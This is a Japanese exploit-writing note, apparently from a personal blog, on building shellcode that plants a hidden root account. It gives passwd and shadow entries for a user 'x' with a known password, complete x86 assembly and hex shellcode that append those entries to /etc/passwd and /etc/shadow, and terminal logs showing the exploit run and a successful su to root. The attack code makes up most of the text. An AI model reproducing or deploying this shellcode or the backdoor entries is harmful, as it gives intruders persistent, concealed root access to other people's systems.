NENote of Exploiting


2006-11-30 : Shadow Writing Backdoor

 アカウントバックドアを作成するプログラムについてのメモである。ハッキングの置き土産としては最も単純なバックドアと言える。

 root権限のアカウントをこっそり追加することで、いつでもroot権限を得ることができる。アカウントを追加するには/etc/passwdと/etc/shadowにデータを追加する必要がある。/etc/passwdは次のような構造をしている。

ユーザ名:パスワード:ユーザID:グループID:コメント:ホームディレクトリ:標準シェル

 shadowファイルはpasswdのパスワード部分をより強固なセキュリティに守られた別のファイルに記述したもので、これによってパスワードの漏洩の危険性が少なくなる。shadowの構造は次のようになっている。

ユーザ名:パスワード:パスワード更新日時:使用可能になる日時:警告日:ログインしないとアカウントが失効する日数:アカウント失効までの日数:未使用:

 これに従って、passwdファイルとshadowファイルに次のような文字列を追加する。これによりアカウントが追加され、好き放題にrootになれる。

[passwd]

x:x:0:0::/etc:/bin/sh

[shadow]

x:$1$N9rTnvmD$Z.e92/gt.SqCmUyyxHI6A0:1::::::

 ユーザ名はxで、パスワードはnewbieであるアカウントが追加されることになる。shadowの2つ目のフィールドはパスワードがMD5で暗号化されたものである。この機能を実現するソースを次に記述する。

[SC] backdoor.s


.globl main

main:
    jmp    ONE

TWO:
    # To /etc/passwd
    #open
    popl   %ebx
    xorl   %eax,   %eax
    movb   %al,    11(%ebx)
    movb   $0x0a,  33(%ebx)
    movb   %al,    34(%ebx)
    movb   %al,    46(%ebx)
    movb   $0x0a,  91(%ebx)
    movb   %al,    92(%ebx)
    movb   $0x5,   %al
    xorl   %ecx,   %ecx
    inc    %ecx
    int    $0x80

    add    $12,   %ebx
    movl   %ebx,  %esi
    movl   %eax,  %ebx
    xorl   %ecx,  %ecx
    xorl   %edx,  %edx
    inc    %edx
    inc    %edx
    xorl   %eax,   %eax
    movb   $19,    %al
    int    $0x80

    #write
    xorl   %eax,   %eax
    movb   $0x4,   %al
    movl   %esi,   %ecx
    movb   $22,    %dl
    int    $0x80

    #close
    movb   $0x6,   %al
    int    $0x80
    movl   %ecx,   %ebx
    add    $23,    %ebx

    # To /etc/shadow
    #open
    movb   $0x5,   %al
    xorl   %ecx,   %ecx
    inc    %ecx
    int    $0x80

    add    $12,    %ebx
    movl   %ebx,   %esi
    movl   %eax,   %ebx

    xorl   %ecx,   %ecx
    xorl   %edx,   %edx
    inc    %edx
    inc    %edx
    xorl   %eax,   %eax
    movb   $19,    %al
    int    $0x80

    #write
    xorl   %eax,   %eax
    movb   $0x4,   %al
    movl   %esi,   %ecx
    movb   $45,    %dl
    int    $0x80

    #close
    movb   $0x6,   %al
    int    $0x80

    #exit
    xorl   %eax,   %eax
    movb   $0x1,   %al
    xorl   %ebx,   %ebx
    int    $0x80

ONE:
    call    TWO
    .string "/etc/passwd_x:x:0:0::/etc:/bin/sh__/etc/shadow_x:$1$N9rTnvmD$Z.e92/gt.SqCmUyyxHI6A0:1::::::"

Exemplification

 ソースコードをバイトコードに変換すると次のようなコードが得られる。

eb 74 5b 31 c0 88 43 0b c6 43 21 0a
88 43 22 88 43 2e c6 43 5b 0a 88 43
5c b0 05 31 c9 41 cd 80 83 c3 0c 89
de 89 c3 31 c9 31 d2 42 42 31 c0 b0
13 cd 80 31 c0 b0 04 89 f1 b2 16 cd
80 b0 06 cd 80 89 cb 83 c3 17 b0 05
31 c9 41 cd 80 83 c3 0c 89 de 89 c3
31 c9 31 d2 42 42 31 c0 b0 13 cd 80
31 c0 b0 04 89 f1 b2 2d cd 80 b0 06
cd 80 31 c0 b0 01 31 db cd 80 e8 87
ff ff ff 2f 65 74 63 2f 70 61 73 73
77 64 5f 78 3a 78 3a 30 3a 30 3a 3a
2f 65 74 63 3a 2f 62 69 6e 2f 73 68
5f 5f 2f 65 74 63 2f 73 68 61 64 6f
77 5f 78 3a 24 31 24 4e 39 72 54 6e
76 6d 44 24 5a 2e 65 39 32 2f 67 74
2e 53 71 43 6d 55 79 79 78 48 49 36
41 30 3a 31 3a 3a 3a 3a 3a 3a

 尋常ではないぐらい大きなサイズのバイトコードが生成された。これをC言語のテストプログラム([SC] exploit.c)に埋め込み、Exploitを撃つ。

defolos@glazheim:~/Desktop$ gcc exploit.c
defolos@glazheim:~/Desktop$ ./a.out
sp = 0xbffff918
ret = 0xbffff918
-------exploit---------------
defolos@glazheim:~/Desktop$

 これでアカウント情報が追加されたはずであるので、確認する。

glazheim:/home/defolos/Desktop# cat /etc/passwd
.....(省略)
saned:x:110:110::/home/saned:/bin/false
gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false
x:x:0:0::/etc:/bin/sh
glazheim:/home/defolos/Desktop# cat /etc/shadow
.....(省略)
saned:!:13463:0:99999:7:::
gdm:!:13463:0:99999:7:::
x:$1$N9rTnvmD$Z.e92/gt.SqCmUyyxHI6A0:1::::::

 正常に追加されていることが確認できた。次にログインできるか試す。

defolos@glazheim:~/Desktop$ su x
Password:
sh-2.05b# whoami
root

 ログインに成功していることがわかる。ユーザ名x、パスワードnewbieでログインできることが確認できた。権限もrootに設定されている。
 今回作成したソースではMD5で暗号化されたパスワードをそのまま追加する。MD5はハッシュなので、どのような文字列を暗号化しても同じ桁数の暗号文が生成される。そのためパスワードを変えれば自分だけがログインできる裏口を作ることができる。ただし、ユーザ名を2文字以上に変えるときはアセンブリを組みなおさなければならない。

Points

 「数字の0と文字の0はまったく別物である」
 ペイロードにはNULL(0)を含めることができないが、NULLはASCIIコードで0x00であるのに対し、文字の0は0x30である。

Issues

References

Copyleft (C) 2007 Len. All Rights Not Reserved.